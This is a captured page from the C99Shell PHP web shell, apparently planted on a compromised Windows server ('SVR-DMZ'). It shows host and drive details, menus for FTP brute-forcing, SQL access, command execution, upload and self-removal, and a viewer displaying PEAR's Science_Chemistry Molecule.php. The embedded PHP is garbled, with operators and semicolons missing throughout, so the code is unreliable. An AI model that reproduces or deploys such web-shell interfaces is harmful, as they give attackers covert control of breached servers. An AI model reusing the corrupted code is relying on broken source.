!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\php\PEAR\Science\Chemistry\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Molecule.php (11.85 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//
// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Jesus M. Castagnetto <jmcastagnetto@php.net>                |
// +----------------------------------------------------------------------+
//
// $Id: Molecule.php,v 1.4 2003/05/13 01:18:17 jmcastagnetto Exp $
//

require_once "Science/Chemistry.php";
require_once 
"Science/Chemistry/Atom.php";

/**
 * Base class representing a Molecule
 *
 * @author  Jesus M. Castagnetto <jmcastagnetto@php.net>
 * @version 1.0
 * @access  public
 * @package Science_Chemistry
 */
class Science_Chemistry_Molecule {

    
/**
     * Molecule name
     *
     * @var     string
     * @access  public
     */
    
var $name "";

    
/**
     * Number of atoms in the molecule
     * 
     * @var     integer
     * @access  public
     * @see     initMolecule()
     */
    
var $num_atoms 0;

    
/**
     * Array of atom objects in the molecule
     *
     * @var     array
     * @access  private
     * @see     initMolecule()
     */
    
var $atoms = array();

    
/**
     * Atom-Atom distance matrix
     *
     * @var     array
     * @access  private
     * @see     calcDistanceMatrix()
     */
    
var $dist_matrix = array();

    
/**
     * Atom-Atom connection (bond) table
     *
     * @var     array
     * @access  private
     * @see     calcConnectionTable()
     */
    
var $conn_table = array();

    
/**
     * Distance cutoff for bond estimation
     *
     * @var     float
     * @access  private
     * @see     setBondCutoff()
     * @see     getBondCutoff()
     * @see     calcConnectionTable()
     */
    
var $BONDCUTOFF 1.8;

    
/**
     * Constructor for the class, requires a molecule name
     * and an optional array of Science_Chemistry_Atom objects
     * 
     * @param   string  $name
     * @param   optional    array   $atoms
     * @return  object  Science_Chemistry_Molecule
     * @access  public
     * @see     $name
     * @see     initMolecule()
     */
    
function Science_Chemistry_Molecule($name$atoms="") {
        if (
$name)
            
$this->name $name;
        else
            return 
null;
        if (
$atoms && is_array($atoms))
            if (!
$this->initMolecule($atoms))
                return 
null;
    }

    
/**
     * Initializes the array of Science_Chemistry_Atom objects
     * 
     * @param   array   $atoms
     * @return  boolean
     * @access  public
     * @see     $num_atoms
     * @see     $atoms
     * @see     addAtom()
     */
    
function initMolecule($atoms) {
        if (
is_array($atoms)) {
            for (
$i=0$i=count($atoms); $i++) {
                if (!
$this->addAtom($atoms[$i]))
                    return 
false;
            }
            return 
true;
        } else {
            return 
false;
        }
    }

    
/**
     * Adds a Science_Chemistry_Atom object to the list of atoms in the molecule
     * 
     * @param   object  Science_Chemistry_Atom   $atom
     * @return  boolean
     * @access  public
     * @see     initMolecule()
     */
    
function addAtom($atom) {
        if (
Science_Chemistry_Atom::isAtom($atom)) {
            
$this->atoms[] = $atom;
            
$this->num_atoms++;
            
// unset the distance matrix and 
            // connection table if they are not empty
            // so next time either one is requested
            // it gets calculated anew
            
if (!empty($this->dist_matrix))
                
$this->dist_matrix = array();
            if (!empty(
$this->conn_table))
                
$this->conn_table = array();
            return 
true;
        } else {
            return 
false;
        }
    }


    
/**
     * Returns an array of Atom objects
     *
     * @return  array
     * @access  public
     * @see     $atoms
     */
    
function getAtoms() {
        return 
$this->atoms;
    }

    
/**
     * Checks if the object is an instance of Science_Chemistry_Molecule
     *
     * @param   object  Science_Chemistry_Molecule $obj
     * @return  boolean
     * @access  public
     */
    
function isMolecule($obj) {
        return  (
is_object($obj) && 
                 (
strtolower(get_class($obj)) == strtolower("Science_Chemistry_Molecule") ||
                  
is_subclass_of($objstrtolower("Science_Chemistry_Molecule")))
                );
    }

    
/**
     * Returns a string representation of the molecule  as a XYZ-format file
     * Alias of toXYZ()
     *
     * @return  string
     * @access  public
     * @see toXYZ()
     */
    
function toString() {
        return 
$this->toXYZ();
    }

    
/**
     * Returns a string representation of the molecule  as a XYZ-format file
     *
     * @return  string
     * @access  public
     * @see toString()
     */
    
function toXYZ() {
        if (!
$this->atoms)
            return 
false;
        
$out[] = $this->num_atoms;
        
$out[] = $this->name;
        
reset($this->atoms);
        for (
$i=0$i<$this->num_atoms$i++)
            
$out[] = $this->atoms[$i]->toString();
        return 
implode("\n",$out)."\n";
    }

    
/**
     * Returns a CML representation of the molecule
     * Accepts an optional id, and a flag to signal
     * printing of the connection table
     *
     * @param   optional    string  $id
     * @param   optional    boolean $connect
     * @return  string
     * @access  public
     */
    
function toCML($title="molecule"$id="mol1"$connect=false) {
        
$out " <molecule title=\"$title\" id=\"$id\">\n";
        
$out .= "  <string title=\"name\">".$this->name."</string>\n";
        
$out .= "  <list title=\"atoms\">\n";
        for (
$i=0$i<$this->num_atoms$i++)
            
$out .= $this->atoms[$i]->toCML($i+1);
        
$out .= "  </list>\n";
        if (
$connect) {
            
// calculate the connection table if needed
            // and short-circuit if we cannot do that
            
if (empty($this->conn_table)) 
                if (!
$this->calcConnectionTable()) {
                    
$out .= " </molecule>\n";
                    return 
$out;
                }
            
$out .= "  <list title=\"connections\">\n";
            for (
$i=0$i count($this->conn_table); $i++) {
                
$tmp = array();
                foreach (
$this->conn_table[$i] as $atomid=>$flag) {
                    if (
$flag)
                        
$tmp[] = $atomid 1;
                }
                if (!empty(
$tmp)) {
                    
$out .= "   <list title=\"connect\" id=\"".($i 1)."\">";
                    
$out .= implode(" "$tmp)."</list>\n";
                }
            }
            
$out .= "  </list>\n";
        }
        
$out .= " </molecule>\n";
        return 
$out;
    }

    
    
/**
     * Sets the distance cutoff for bond determination
     *
     * @param   float   $cutoff
     * @return  boolean
     * @access  public
     * @see     $BONDCUTOFF
     * @see     getBondCutoff()
     * @see     calcConnectionTable()
     */
    
function setBondCutoff($cutoff) {
        if ((float)
$cutoff 0.0) {
            
$this->BONDCUTOFF = (float)$cutoff;
            return 
true;
        } else {
            return 
false;
        }
    }

    
/**
     * Returns the bond cutoff uses to determine bonds
     * 
     * @return  float
     * @access  public
     * @see     $BONDCUTOFF
     * @see     setBondCutoff()
     * @see     calcConnectionTable()
     */
    
function getBondCutoff() {
        return 
$this->BONDCUTOFF;
    }

    
/**
     * Calculates the atom-atom distance matrix in Angstroms
     *
     * @return  boolean
     * @access  public
     */
    
function calcDistanceMatrix() {
        if (empty(
$this->atoms))
            return 
false;
        
$this->dist_matrix = array();
        for (
$i=0$i $this->num_atoms$i++)
            for (
$j=0$j $this->num_atoms$j++) {
                if (
$i == $j) {
                    
$this->dist_matrix[$i][$j] = 0.0;
                } elseif (
$i $j) {
                    
$this->dist_matrix[$i][$j] = $this->atoms[$i]->distance($this->atoms[$j]);
                }
            }
        return 
true;
    }

    
/**
     * Prints the atom-atom distance matrix
     *
     * @return  string
     * @access  public
     */
    
function printDistanceMatrix() {
        if (empty(
$this->dist_matrix))
            if(!
$this->calcDistanceMatrix())
                return 
false;
        
$dmat = &$this->dist_matrix;
        echo 
"# Atom-Atom Distance Matrix:\n";
        for (
$i=0$i $this->num_atoms$i++)
            echo 
"\t".($i+1);
        for (
$i=0$i $this->num_atoms$i++) {
            echo 
"\n".($i+1);
            for (
$j=0$j $this->num_atoms$j++)
                if (!isset(
$dmat[$i][$j])) {
                    echo 
"\t";
                } else {
                    
printf("\t%.4f",$dmat[$i][$j]);
                }
        }
        echo 
"\n";
        return 
true;
    }

    
/**
     * Returns the atom-atom distance matrix
     *
     * @return  array
     * @access  public
     */
    
function getDistanceMatrix() {
        if (empty(
$this->dist_matrix))
            if (!
$this->calcDistanceMatrix())
                return 
false;
        return 
$this->dist_matrix;
    }

    
/**
     * Calculates the connection table for the molecule
     *
     * @return  boolean
     * @access  public
     */
    
function calcConnectionTable(){
        if (empty(
$this->dist_matrix))
            if (!
$this->calcDistanceMatrix())
                return 
false;
        
$dmat = &$this->dist_matrix;
        for (
$i=0$i $this->num_atoms$i++)
            for (
$j=($i+1); $j $this->num_atoms$j++)
                
$this->conn_table[$i][$j] = ($dmat[$i][$j] <= $this->BONDCUTOFF);
        return 
true;
    }

    
/**
     * Prints the molecule's connection table
     *
     * @return  boolean
     * @access  public
     */
    
function printConnectionTable() {
        if (empty(
$this->conn_table))
            if (!
$this->calcConnectionTable())
                return 
false;
        
printf("# Connection Table: (cutoff = %.4f Angstroms)\n"$this->BONDCUTOFF);
        for (
$i=0$i $this->num_atoms$i++)
            for (
$j=($i+1); $j $this->num_atoms$j++)
                if (
$this->conn_table[$i][$j]) {
                    echo 
$this->atoms[$i]->element.($i+1)."\t";
                    echo 
$this->atoms[$j]->element.($j+1)."\n";
                }
        return 
true;
    }

    
/**
     * Returns an array of connected atoms and their bond distance
     * e.g. array ( array ($atomobj1, $atomobj2, $distance ), ... )
     * 
     * @return  array
     * @access  public
     */
    
function getConnectionTable() {
        if (empty(
$this->conn_table))
            if (!
$this->calcConnectionTable())
                return 
false;
        
$ct 0$ctable=array();
        for (
$i=0$i $this->num_atoms$i++)
            for (
$j=($i+1); $j $this->num_atoms$j++)
                if (
$this->conn_table[$i][$j]) {
                    
$ctable[$ct] = array ($this->atoms[$i], $this->atoms[$j],
                                    
$this->dist_matrix[$i][$j]);
                    
$ct++;
                }
       return 
$ctable
    }

// end of class Science_Chemistry_Molecule


// vim: expandtab: ts=4: sw=4
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--